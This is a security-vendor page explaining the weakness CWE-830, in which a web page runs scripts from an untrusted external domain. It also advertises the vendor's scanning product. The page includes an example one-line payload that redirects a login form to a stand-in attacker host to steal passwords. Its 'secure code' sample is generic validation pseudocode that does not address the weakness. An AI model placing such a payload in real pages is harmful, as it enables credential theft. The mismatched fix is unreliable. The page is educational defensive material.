CWE-830 Variante Incompleto

Inclusion of Web Functionality from an Untrusted Source

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your…

Definição

What is CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.
Incorporating third-party web functionality, such as JavaScript widgets or analytics scripts, is a common practice but introduces significant risk. The core issue is that code loaded via tags like `` executes with the same privileges as your own application. This means the external code can read sensitive data like user cookies, session tokens, and the entire DOM, effectively bypassing the browser's same-origin policy for your site. Even if you trust the source provider, your application remains vulnerable if that provider's infrastructure is compromised or if the code is altered during delivery (a supply-chain attack). Developers might not always be fully aware of all the external dependencies their application relies on, making this a subtle but widespread issue in modern web mashups and integrated services.
Impacto no mundo real

Real-world CVEs caused by CWE-830

Ainda não há referências CVE públicas associadas a este CWE no catálogo da MITRE.

Como os atacantes a exploram

Trajeto do atacante passo a passo

  1. 1

    This login webpage includes a weather widget from an external website:

  2. 2

    This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

  3. 3

    For example, user login information could easily be stolen with a single line added to weatherwidget.js:

  4. 4

    This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Exemplo de código vulnerável

Vulnerable HTML

This login webpage includes a weather widget from an external website:

Vulnerável HTML
<div class="header"> Welcome!
  	<div id="loginBox">Please Login:
  		<form id ="loginForm" name="loginForm" action="login.php" method="post">
  		Username: <input type="text" name="username" />
  		<br/>
  		Password: <input type="password" name="password" />
  		<input type="submit" value="Login" />
  		</form>
  	</div>
  	<div id="WeatherWidget">
  		<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  	</div>
  </div>
Payload do atacante

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Payload do atacante JavaScript
```
...Weather widget code....* 
  document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Exemplo de código seguro

Secure pseudo

Seguro pseudo
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Lista de verificação de prevenção

How to prevent CWE-830

  • Architecture Use safe-by-default frameworks and APIs that prevent the unsafe pattern from being expressible.
  • Implementation Validate input at trust boundaries; use allowlists, not denylists.
  • Implementation Apply the principle of least privilege to credentials, file paths, and runtime permissions.
  • Testing Cover this weakness in CI: SAST rules + targeted unit tests for the data flow.
  • Operation Monitor logs for the runtime signals listed in the next section.
Sinais de deteção

How to detect CWE-830

SAST High

Executar análise estática (SAST) na base de código à procura do padrão inseguro no fluxo de dados.

DAST Moderate

Executar testes dinâmicos de segurança de aplicações (DAST) contra o endpoint em execução.

Runtime Moderate

Monitorizar os registos em tempo de execução para traços de exceção invulgares, input malformado ou tentativas de contornar a autorização.

Code review Moderate

Revisão de código: sinalizar qualquer novo código que trate input desta superfície sem usar os ajudantes validados do framework.

Correção automática do Plexicus

O Plexicus deteta automaticamente o CWE-830 e abre um PR de correção em menos de 60 segundos.

O Codex Remedium analisa cada commit, identifica esta fraqueza exata e entrega um pull request pronto para revisão com o patch. Sem tickets. Sem transferências.

Perguntas frequentes

Frequently asked questions

O que é o CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.

Qual a gravidade do CWE-830?

A MITRE não publicou uma classificação de probabilidade de exploração para esta fraqueza. Trate-a como impacto médio até o seu modelo de ameaças provar o contrário.

Que linguagens ou plataformas são afetadas pelo CWE-830?

A MITRE não especificou as plataformas afetadas por este CWE — pode aplicar-se à maioria das stacks de aplicações.

Como posso prevenir o CWE-830?

Use safe-by-default frameworks, validate untrusted input at trust boundaries, and apply the principle of least privilege. Cover the data-flow signature in CI with SAST.

Como é que o Plexicus deteta e corrige o CWE-830?

O motor SAST do Plexicus correlaciona a assinatura de fluxo de dados do CWE-830 em cada commit. Quando é encontrada uma correspondência, o nosso agente Codex Remedium abre um PR de correção com o código corrigido, testes e um resumo de uma linha para o revisor.

Onde posso saber mais sobre o CWE-830?

A MITRE publica a definição canónica em https://cwe.mitre.org/data/definitions/830.html. Pode também consultar a documentação da OWASP e do NIST para orientações adjacentes.

Pronto quando você estiver

Pare de pagar por desenvolvedor.
Comece a fechar o ciclo.

O Plexicus é o ASPM nativo de IA que verifica, filtra, corrige, pentesta e explica — de forma autónoma. Programadores ilimitados, repos ilimitados, ações de IA de utilização justa. Nível gratuito real, €269/mo anual quando estiver pronto.